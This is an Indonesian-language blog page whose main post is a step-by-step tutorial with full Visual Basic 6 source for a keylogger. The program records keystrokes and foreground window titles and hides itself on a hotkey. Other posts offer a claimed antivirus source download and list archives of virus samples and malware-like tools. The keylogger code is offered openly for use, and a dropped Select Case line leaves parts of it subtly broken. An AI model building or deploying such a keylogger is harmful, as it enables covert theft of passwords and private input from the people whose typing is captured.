Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.
kumpulan script Berbahaya bagi komputer
04.54
Khend
Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.
Posted in
Membuat Keylogger Dengan Visual Basic
00.06
Khend
Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..
1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE
4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
5. Copas seluruh Code di bawah ini :
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub
Private Sub Label1_Click()
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Label6_Click()
Timer1.Enabled = True
End Sub
Private Sub Label7_Click()
Timer1.Enabled = False
End Sub
Private Sub Label8_Click()
backs = True
End Sub
Private Sub Label9_Click()
backs = False
End Sub
Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub
6. Jalankan dengan menekan tombol F5
Live demo bisa di download disini :
Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…
Posted in
Source Code Antivirus SMADAV
23.49
Khend
Mungkin Rekan2x Sekalian Sudah Pernah Menggunakan Antivirus Smadav, Yakni Sebuah Antivirus Yang Dibuat Oleh Programmer Lokal (Indonesia) Yang Dulunya Hanya Seorang Anak SMU (SMA 2) dan Sekarang Programmer Antivirus ini Sudah Memasuki Jenjang Perkuliahan.Nah ini Dia Yang Rekan2x Tunggu ( Source Code Antivirus SMADAV )
Silahkan Di Download dan Dikembangkan Lagi Supaya Bisa Jadi Lebih Baik Lagi.
password : bismillah Posted in
Tips Virus and Anti virus
23.47
Khend
Cari di lebih dari 1540000 Kode / dokumen:
[ virus antivirus Worm delphi Anti virus autorun membunuh firewall CIH kail ]
[Membunuh Virus] Total: 331 | << Pertama <Sebelumnya Selanjutnya> Terakhir >> Halaman: 1/17
1. VBdsfdd.rar
< 443929135 > upload di 2012/02/22 18:23:43Jelaskan: Saya tidak tahu apa yang harus menulis yang baik ...
Plat: Visual Basic | Ukuran: 466KB | Downloads: 0
2. xiao-dai-ma.rar
< myl_2040 > upload di 2012/02/19 00:36:16Jelaskan: Sebuah koleksi pribadi dari dua kode virus sisa file, yakin bahwa tidak ada racun, untuk keamanan jaringan tertarik dapat melihat ...
Plat: Visual C + + | Ukuran: 580KB | Downloads: 1
3. 123bingduyumumapapaoxi.rar
< 254579094 > upload di 2012/02/18 14:08:58Jelaskan: Virus komputer dan analisis Trojan, deskripsi dari buku-buku keamanan komputer, cocok untuk pemahaman yang mendalam dari orang yang belajar menggunakan keamanan komputer
Plat: Visual C + + | Ukuran: 6806KB | Downloads: 1
4. Koleksi-of-Virus-Samples.rar
< chaiqian2009 > upload di 2012/02/15 15:22:12Jelaskan: Pengumpulan sampel virus, file terkompresi berisi total 4266 file, yang 3265 sampel virus, 1001 untuk prosedur normal. Hanya untuk studi eksperimental.
Plat: DOS | Ukuran: 5502KB | Downloads: 2
5. jpg-virus.rar
< skorer > upload di 2012/02/13 16:23:36Jelaskan: Virus gambar JPG
Plat: Visual C + + | Ukuran: 14KB | Downloads: 3
6. ref.rar
< ambitlicksolutions > upload di 2012/02/12 02:04:38Jelaskan: Menggagalkan Zero-Day Worms polymorphic
Plat: Lain-lain | Ukuran: 6815KB | Downloads: 0
7. WTL_JinShan_Src.rar
< newhub > upload di 2012/02/11 10:16:07Jelaskan: WTL Source code Jinshan
Plat: C + + | Ukuran: 6025KB | Downloads: 2
8. intrusi-deteksi-code.rar
< 623747882 > upload di 2012/02/05 18:03:33Jelaskan: Prosedur ini digunakan VC6.0 disiapkan oleh sistem deteksi intrusi, deteksi intrusi dasar, kode memiliki catatan rinci untuk men-download belajar
Plat: Visual C + + | Ukuran: 99KB | Downloads: 2
9. DriverDemoARK.zip
< jackw610 > upload di 2012/01/30 10:11:40Jelaskan: kode sumber ARK, adalah untuk belajar pemrograman referensi ARK, yang berisi sebagian besar modul fungsional ARK
Plat: C-C + + | Ukuran: 3514KB | Downloads: 2
10. IE-dipaksa-plug-in.rar
< hotmail1314520 > upload di 2012/01/27 23:25:35Jelaskan: Perfect plug-in sistem, 360, tak terkalahkan terkunci, memakai versi produksi yang baik
Plat: Visual Basic | Ukuran: 71KB | Downloads: 0
11. daily.zip
< ashok.0028 > upload di 2012/01/27 02:57:57Jelaskan: ini berhubungan dengan anti virus bitdefinder
Plat: Lain-lain | Ukuran: 241KB | Downloads: 0
12. SMP170.rar
< happyfornew > upload di 2012/01/21 16:08:44Jelaskan: komputer perlindungan keamanan Sederhana dan alat optimasi, Mesin GPL Sederhana Melindungi Produksi
Plat: Visual Basic | Ukuran: 291KB | Downloads: 0
13. downloader4.zip
< mahajannikhil94 > upload di 2012/01/20 00:20:03Jelaskan: Versi: VB 2008 Kompatibilitas: VB6, VB 2008, VB 2010 Mendeteksi 70.000 virus dan string md5. Dapatkan tes setelah menjalankan antivirus dari eicar.com
Plat: Jawa | Ukuran: 93KB | Downloads: 0
14. XueTr.rar
< jinpeng13 > upload di 2012/01/16 21:24:33Jelaskan: XueTr adalah gratis anti-virus dan rootkit utility.It menawarkan kemampuan untuk mendeteksi, menganalisis dan memperbaiki berbagai struktur modifikasi kernel dan memberikan lingkup yang luas dari bantuan kernel.With, Anda dapat dengan mudah mengenali dan menghapus malware tersembunyi dari normal perangkat lunak.
Plat: Visual C + + | Ukuran: 3364KB | Downloads: 6
15. chinaxxg.rar
< shan_dianbudui > upload di 2012/01/13 13:34:41Jelaskan: cina xixueg
Plat: Visual C + + | Ukuran: 31KB | Downloads: 1
16. JAV_AntiVi22152711222011.zip
< net2goicafe > upload di 2012/01/08 11:34:42Jelaskan: Sebuah mencoba antivirus sederhana dan dimodifikasi
Plat: Visual Basic | Ukuran: 401KB | Downloads: 1
17. wangyemumashengchengqi.rar
< 1413083361 > upload di 2012/01/05 10:52:52Jelaskan: maaf i don t berbicara ӢÄ
Plat: Visual C + + | Ukuran: 1822KB | Downloads: 1
19. SimAV.rar
< flazzy_guyz > upload di 2011/12/21 22:02:34Jelaskan: antivirus sederhana ... untuk referensi hanya
Plat: Visual Basic | Ukuran: 264KB | Downloads: 2
20. virus behavior.rar
< lashkarara > upload di 2011/12/20 01:19:08Jelaskan: buku tentang membunuh virus
Plat: DOS | Ukuran: 246KB | Downloads: 1
| [Membunuh Virus] Total 331 | << Pertama <Sebelumnya Selanjutnya> Terakhir >> Halaman: 1/17 |
Posted in
Langganan:
Postingan (Atom)